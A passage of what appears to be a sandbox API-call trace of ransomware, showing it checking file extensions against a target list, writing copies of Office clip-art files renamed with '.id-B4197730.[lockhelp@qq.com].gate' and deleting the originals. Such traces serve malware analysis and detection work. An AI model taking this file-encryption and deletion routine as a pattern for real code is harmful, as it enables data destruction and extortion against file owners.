Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0316.050] lstrlenW (lpString=".1cd") returned 4 [0316.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0316.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0316.050] lstrlenW (lpString=".jpg") returned 4 [0316.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0316.134] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=16738) returned 1 [0316.134] CloseHandle (hObject=0x4b8) returned 1 [0316.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0316.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0316.137] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.137] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0316.138] GetLastError () returned 0x0 [0316.138] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4162, lpOverlapped=0x0) returned 1 [0316.214] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4170, lpOverlapped=0x0) returned 1 [0316.215] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.216] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.216] SetEndOfFile (hFile=0x414) returned 1 [0316.216] CloseHandle (hObject=0x414) returned 1 [0316.216] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.216] SetEndOfFile (hFile=0x4b8) returned 1 [0316.218] CloseHandle (hObject=0x4b8) returned 1 [0316.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0316.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0316.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0316.219] lstrlenW (lpString=".doc") returned 4 [0316.219] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0316.219] lstrlenW (lpString=".docx") returned 5 [0316.220] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0316.220] lstrlenW (lpString=".pdf") returned 4 [0316.220] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0316.220] lstrlenW (lpString=".xls") returned 4 [0316.220] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0316.220] lstrlenW (lpString=".xlsx") returned 5 [0316.220] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0316.220] lstrlenW (lpString=".ppt") returned 4 [0316.220] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0316.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0316.220] lstrlenW (lpString=".zip") returned 4 [0316.220] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0316.220] lstrlenW (lpString=".rar") returned 4 [0316.220] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0316.220] lstrlenW (lpString=".bz2") returned 4 [0316.220] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0316.220] lstrlenW (lpString=".7z") returned 3 [0316.220] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0316.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0316.220] lstrlenW (lpString=".dbf") returned 4 [0316.220] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0316.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0316.220] lstrlenW (lpString=".1cd") returned 4 [0316.220] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0316.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0316.220] lstrlenW (lpString=".jpg") returned 4 [0316.220] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0316.221] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=62367) returned 1 [0316.221] CloseHandle (hObject=0x4b8) returned 1 [0316.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0316.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0316.221] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.221] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0316.222] GetLastError () returned 0x0 [0316.222] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0316.407] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0316.408] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.408] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.408] SetEndOfFile (hFile=0x414) returned 1 [0316.422] CloseHandle (hObject=0x414) returned 1 [0316.422] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.422] SetEndOfFile (hFile=0x4b8) returned 1 [0316.430] CloseHandle (hObject=0x4b8) returned 1 [0316.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0316.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0316.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0316.550] lstrlenW (lpString=".doc") returned 4 [0316.550] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0316.550] lstrlenW (lpString=".docx") returned 5 [0316.550] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0316.550] lstrlenW (lpString=".pdf") returned 4 [0316.550] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0316.550] lstrlenW (lpString=".xls") returned 4 [0316.550] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0316.550] lstrlenW (lpString=".xlsx") returned 5 [0316.550] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0316.550] lstrlenW (lpString=".ppt") returned 4 [0316.550] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0316.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0316.550] lstrlenW (lpString=".zip") returned 4 [0316.550] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0316.550] lstrlenW (lpString=".rar") returned 4 [0316.550] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0316.550] lstrlenW (lpString=".bz2") returned 4 [0316.550] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0316.550] lstrlenW (lpString=".7z") returned 3 [0316.550] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0316.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0316.550] lstrlenW (lpString=".dbf") returned 4 [0316.550] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0316.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0316.551] lstrlenW (lpString=".1cd") returned 4 [0316.551] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0316.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0316.551] lstrlenW (lpString=".jpg") returned 4 [0316.551] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0316.551] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=33975) returned 1 [0316.551] CloseHandle (hObject=0x494) returned 1 [0316.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0316.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0316.552] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.552] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0316.553] GetLastError () returned 0x0 [0316.553] ReadFile (in: hFile=0x494, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0316.643] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0316.644] ReadFile (in: hFile=0x494, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.644] WriteFile (in: hFile=0x414, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.644] SetEndOfFile (hFile=0x414) returned 1 [0316.652] CloseHandle (hObject=0x414) returned 1 [0316.652] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.652] SetEndOfFile (hFile=0x494) returned 1 [0316.666] CloseHandle (hObject=0x494) returned 1 [0316.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0316.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0316.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0316.669] lstrlenW (lpString=".doc") returned 4 [0316.669] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.669] lstrlenW (lpString=".docx") returned 5 [0316.669] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0316.669] lstrlenW (lpString=".pdf") returned 4 [0316.669] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.669] lstrlenW (lpString=".xls") returned 4 [0316.669] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.669] lstrlenW (lpString=".xlsx") returned 5 [0316.669] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0316.670] lstrlenW (lpString=".ppt") returned 4 [0316.670] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0316.670] lstrlenW (lpString=".zip") returned 4 [0316.670] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.670] lstrlenW (lpString=".rar") returned 4 [0316.670] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.670] lstrlenW (lpString=".bz2") returned 4 [0316.670] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.670] lstrlenW (lpString=".7z") returned 3 [0316.670] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0316.670] lstrlenW (lpString=".dbf") returned 4 [0316.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0316.670] lstrlenW (lpString=".1cd") returned 4 [0316.670] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0316.670] lstrlenW (lpString=".jpg") returned 4 [0316.670] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.671] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=51401) returned 1 [0316.671] CloseHandle (hObject=0x4f0) returned 1 [0316.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0316.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0316.671] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.671] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0316.672] GetLastError () returned 0x0 [0316.672] ReadFile (in: hFile=0x4f0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0316.724] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0316.725] ReadFile (in: hFile=0x4f0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.725] WriteFile (in: hFile=0x494, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.726] SetEndOfFile (hFile=0x494) returned 1 [0316.729] CloseHandle (hObject=0x494) returned 1 [0316.732] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.732] SetEndOfFile (hFile=0x4f0) returned 1 [0316.743] CloseHandle (hObject=0x4f0) returned 1 [0316.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0316.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0316.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0316.746] lstrlenW (lpString=".doc") returned 4 [0316.746] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.746] lstrlenW (lpString=".docx") returned 5 [0316.746] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0316.746] lstrlenW (lpString=".pdf") returned 4 [0316.746] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.746] lstrlenW (lpString=".xls") returned 4 [0316.746] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.746] lstrlenW (lpString=".xlsx") returned 5 [0316.746] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0316.746] lstrlenW (lpString=".ppt") returned 4 [0316.746] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0316.746] lstrlenW (lpString=".zip") returned 4 [0316.746] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.746] lstrlenW (lpString=".rar") returned 4 [0316.746] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.746] lstrlenW (lpString=".bz2") returned 4 [0316.746] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.746] lstrlenW (lpString=".7z") returned 3 [0316.746] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0316.746] lstrlenW (lpString=".dbf") returned 4 [0316.746] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0316.746] lstrlenW (lpString=".1cd") returned 4 [0316.746] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0316.746] lstrlenW (lpString=".jpg") returned 4 [0316.746] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.747] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=17854) returned 1 [0316.747] CloseHandle (hObject=0x4f0) returned 1 [0316.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0316.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0316.748] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.748] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0316.749] GetLastError () returned 0x0 [0316.749] ReadFile (in: hFile=0x4f0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x45be, lpOverlapped=0x0) returned 1 [0316.826] WriteFile (in: hFile=0x448, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0316.827] ReadFile (in: hFile=0x4f0, 